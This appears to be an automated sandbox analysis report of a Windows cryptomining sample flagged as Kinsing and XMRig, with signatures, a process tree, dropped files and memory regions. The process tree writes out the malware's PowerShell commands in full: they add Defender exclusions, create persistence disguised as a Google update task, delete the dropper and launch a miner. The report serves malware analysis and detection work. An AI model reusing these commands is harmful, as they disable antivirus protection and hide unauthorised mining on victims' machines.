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Analysis

  • max time kernel
    1800s
  • max time network
    1792s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/01/2024, 17:15

General

  • Target
    grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
  • Size 2.0MB
  • Sample240124-vstf4aecaj
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Kinsing

    Kinsing is a loader written in Golang.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3368
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1104
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3148
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1944
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:376
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3452
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6vHkJ4UErTSS5ECD.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:228
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:4448
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:1140
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2672
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4972
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              3⤵
              • Drops file in Program Files directory
              PID:4712
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:1484
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              PID:3776
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:4416
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3524

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 2.0MB
                • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 7bbd101261878d74c0f6803d0937f1fdff67640cebb31a02c7a91eba7a1c12e5
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_xepryrhp.3uq.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xepryrhp.3uq.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/376-38-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/376-53-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/376-40-0x00000235698D0000-0x00000235698E0000-memory.dmp

                memory/376-39-0x00000235698D0000-0x00000235698E0000-memory.dmp

                memory/1104-37-0x00007FF6395C0000-0x00007FF6397D1000-memory.dmp

                memory/1104-0-0x00007FF6395C0000-0x00007FF6397D1000-memory.dmp

                memory/1140-85-0x000002295B190000-0x000002295B19A000-memory.dmp

                memory/1140-79-0x000002295AD10000-0x000002295AD1A000-memory.dmp

                memory/1140-84-0x000002295B180000-0x000002295B186000-memory.dmp

                memory/1140-83-0x000002295B150000-0x000002295B158000-memory.dmp

                memory/1140-82-0x000002295B1A0000-0x000002295B1BA000-memory.dmp

                memory/1140-81-0x000002295B140000-0x000002295B14A000-memory.dmp

                memory/1140-80-0x000002295B160000-0x000002295B17C000-memory.dmp

                memory/1140-90-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/1140-87-0x00000229413B0000-0x00000229413C0000-memory.dmp

                memory/1140-66-0x00000229413B0000-0x00000229413C0000-memory.dmp

                memory/1140-78-0x000002295AF40000-0x000002295AFF5000-memory.dmp

                memory/1140-65-0x00000229413B0000-0x00000229413C0000-memory.dmp

                memory/1140-64-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/1140-77-0x00007FF400400000-0x00007FF400410000-memory.dmp

                memory/1140-76-0x000002295AF20000-0x000002295AF3C000-memory.dmp

                memory/1944-33-0x000001C88DF70000-0x000001C88DF80000-memory.dmp

                memory/1944-21-0x000001C88DF70000-0x000001C88DF80000-memory.dmp

                memory/1944-20-0x000001C88DF70000-0x000001C88DF80000-memory.dmp

                memory/1944-19-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/1944-35-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/1944-32-0x000001C88DF70000-0x000001C88DF80000-memory.dmp

                memory/2672-114-0x0000015871FA0000-0x0000015872055000-memory.dmp

                memory/2672-104-0x00007FF494820000-0x00007FF494830000-memory.dmp

                memory/2672-118-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/2672-116-0x0000015870980000-0x0000015870990000-memory.dmp

                memory/2672-115-0x0000015870980000-0x0000015870990000-memory.dmp

                memory/2672-93-0x0000015870980000-0x0000015870990000-memory.dmp

                memory/2672-92-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/3148-13-0x000001C150AA0000-0x000001C150AB0000-memory.dmp

                memory/3148-12-0x000001C150AA0000-0x000001C150AB0000-memory.dmp

                memory/3148-11-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/3148-14-0x000001C150AA0000-0x000001C150AB0000-memory.dmp

                memory/3148-17-0x00007FFECC230000-0x00007FFECCCF1000-memory.dmp

                memory/3148-1-0x000001C16B260000-0x000001C16B282000-memory.dmp

                memory/3524-127-0x00007FF679560000-0x00007FF679771000-memory.dmp

                memory/3524-86-0x00007FF679560000-0x00007FF679771000-memory.dmp

                memory/3524-54-0x00007FF679560000-0x00007FF679771000-memory.dmp

                memory/4416-138-0x000002E9966D0000-0x000002E9966F0000-memory.dmp

                memory/4416-153-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-128-0x000002E996690000-0x000002E9966D0000-memory.dmp

                memory/4416-191-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-130-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-131-0x000002E9966D0000-0x000002E9966F0000-memory.dmp

                memory/4416-132-0x000002E9966F0000-0x000002E996710000-memory.dmp

                memory/4416-134-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-135-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-189-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-137-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-125-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-139-0x000002E9966F0000-0x000002E996710000-memory.dmp

                memory/4416-141-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-143-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-145-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-147-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-149-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-151-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-126-0x000002E996060000-0x000002E996080000-memory.dmp

                memory/4416-155-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-157-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-159-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-161-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-163-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-165-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-167-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-169-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-171-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-173-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-175-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-177-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-179-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-181-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-183-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-185-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4416-187-0x00007FF6D5EF0000-0x00007FF6D66E4000-memory.dmp

                memory/4972-136-0x00007FF620790000-0x00007FF6207A6000-memory.dmp

                memory/4972-129-0x00007FF620790000-0x00007FF6207A6000-memory.dmp